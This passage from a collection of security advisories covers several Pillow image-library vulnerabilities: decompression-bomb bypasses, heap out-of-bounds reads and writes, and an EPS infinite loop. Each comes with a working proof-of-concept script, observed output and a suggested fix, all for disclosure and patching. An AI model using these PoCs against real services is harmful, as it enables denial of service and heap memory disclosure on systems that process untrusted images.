    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed
Impact
  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Controlled heap out-of-bounds write in Pillow ImageCmsTransform.apply() via output mode mismatch

BIT-pillow-2026-59205 / CVE-2026-59205 / GHSA-9hw9-ch79-4vh6 / PYSEC-2026-3453

More information

Details

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)

#&#8203;1 _cmsLockPrimitive (m=0x4443424144434241)
#&#8203;2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)

#&#8203;3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#&#8203;4 cmsSaveProfileToIOhandler(...)

#&#8203;5 cmsSaveProfileToMem(...)
#&#8203;6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.

Suggested fix

Validate modes before calling into the native transform:

def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images

BIT-pillow-2026-59198 / CVE-2026-59198 / GHSA-fj7v-r99m-22gq / PYSEC-2026-3494

More information

Details

Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

im.save(out, format="TGA", compression="tga_rle")

Older affected Pillow versions use the equivalent public option rle=True.

For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.

The maximum valid TGA width is 65535. At that width:

allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes

On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().

Details

src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.

src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:

state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);

For mode "1", state->bits == 1.

src/libImaging/TgaRleEncode.c then computes:

bytesPerPixel = (state->bits + 7) / 8;

This becomes 1, and the encoder uses pixel indexes as byte offsets:

static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}

The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:

memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);

A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.

PoC
Minimal ASAN trigger
import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES

def extract_oob_payload(data):
    i = 18
    pixel = 0
    oob = bytearray()

    while pixel < WIDTH:
        descriptor = data[i]
        i += 1
        count = (descriptor & 0x7F) + 1

        if descriptor & 0x80:
            value = data[i]
            i += 1
            if pixel + count - 1 >= ROW_BYTES:
                oob.append(value)
        else:
            values = data[i : i + count]
            i += count
            oob.extend(values[max(ROW_BYTES - pixel, 0) :])

        pixel += count

    return bytes(oob)

best = b""

for _ in range(ATTEMPTS):
    out = io.BytesIO()
    Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
    oob = extract_oob_payload(out.getvalue())
    if len(oob) > len(best):
        best = oob

with open("/tmp/max_oob_bytes.bin", "wb") as fp:
    fp.write(best)

print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")

Observed on installed Pillow 12.2.0:

Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
Impact

This is a heap out-of-bounds read and potential information disclosure.

A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()

BIT-pillow-2026-59200 / CVE-2026-59200 / GHSA-jjj6-mw9f-p565 / PYSEC-2026-3495

More information

Details

Summary

PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.

Details

PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():


##### PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
    def decode(self) -> bytes:
        try:
            filter = self.dictionary[b"Filter"]
        except KeyError:
            return self.buf
        if filter == b"FlateDecode":
            try:
                expected_length = self.dictionary[b"DL"]
            except KeyError:
                expected_length = self.dictionary[b"Length"]
            return zlib.decompress(self.buf, bufsize=int(expected_length))
            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.
            #  zlib.decompress() allocates as much memory as needed regardless.

From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.

PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.

Confirmed reachable path:

with PdfParser.PdfParser("evil.pdf") as pdf:
    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
    data = stream_obj.decode()   # ← OOM here
PoC
import zlib, tempfile, os, time
from PIL import PdfParser

##### Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9)   # ~97 KB

buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
    buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'

print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")

with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
    f.write(buf); tmpname = f.name

with PdfParser.PdfParser(tmpname) as pdf:
    obj, _ = pdf.get_value(pdf.buf, o3)
    t = time.time()
    decoded = obj.decode()
    print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")

os.unlink(tmpname)

Actual output (Pillow 12.1.1, Python 3.12):

PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s

Measured expansion:

PDF file size Memory allocated Ratio Wall time
10 KB 10 MB 1,026× 0.024 s
95 KB 100 MB 1,028× 0.265 s
475 KB 500 MB 1,028× 1.279 s
950 KB 1,000 MB (1 GB) 1,028× 2.668 s
Impact

This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.

Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.

Suggested fix:

MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap

def decode(self) -> bytes:
    ...
    if filter == b"FlateDecode":
        ...
        result = zlib.decompress(self.buf, bufsize=int(expected_length))
        if len(result) > MAX_DECOMPRESS_BYTES:
            msg = "Decompressed stream exceeds maximum allowed size"
            raise ValueError(msg)
        return result

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service

BIT-pillow-2026-59203 / CVE-2026-59203 / GHSA-pg7v-jwj7-p798 / PYSEC-2026-3452

More information

Details

Summary

Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.

The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.

Confirmed affected versions: Pillow 12.0.0 through 12.2.0.

Details

The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.

Relevant code:

elif bytes_mv[:14] == b"%%BeginBinary:":
    bytecount = int(byte_arr[14:bytes_read])
    self.fp.seek(bytecount, os.SEEK_CUR)

There is no validation that bytecount is non-negative.

If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.

In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.

PoC

Save the following content as pillow_eps_beginbinary_dos.eps:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF

Then run:

python -m pip install "Pillow==12.2.0"

python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY

Expected behavior: Pillow should reject the malformed EPS file with a parser exception.

Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.

The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:

LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
Impact

This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().

This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.

Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow GdImageFile._open(): image dimensions accepted without _decompression_bomb_check()

BIT-pillow-2026-55380 / CVE-2026-55380 / GHSA-phj9-mv4w-65pm / PYSEC-2026-2256

More information

Details

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))

##### ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:


##### PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:


#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

##### Build minimal 1037-byte GD 2.x palette-mode header:

#####   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

##### Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

##### Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

##### Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

##### Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation
Impact
  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service

BIT-pillow-2026-59204 / CVE-2026-59204 / GHSA-vjc4-5qp5-m44j / PYSEC-2026-3496

More information

Details

Summary

src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.

Details
  • Location: src/libImaging/Jpeg2KDecode.c:853
  • Root cause: total_component_width is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles.
  • Dangerous operation: tile_bytes is promoted into tile_info.data_size, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876.
  • Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.
PoC

The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip

Generate the testcase:

pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
  --size 3664 --tile 1832

Expected geometry from the helper:

  • image size: 3664 x 3664
  • mode: RGBA
  • tile size: 1832 x 1832 (2x2 tiles)
  • image_bytes=53699584
  • uncapped RSS observed:
    • vulnerable build: maxrss_kb=180264
    • fixed comparison build: maxrss_kb=138404

Load it with the current vulnerable build:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2

Load it again under a 160 MB address-space cap:

python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160
Impact

Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand

BIT-pillow-2026-59197 / CVE-2026-59197 / GHSA-xj96-63gp-2gmr / PYSEC-2026-3454

More information

Details

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.

This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already
called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

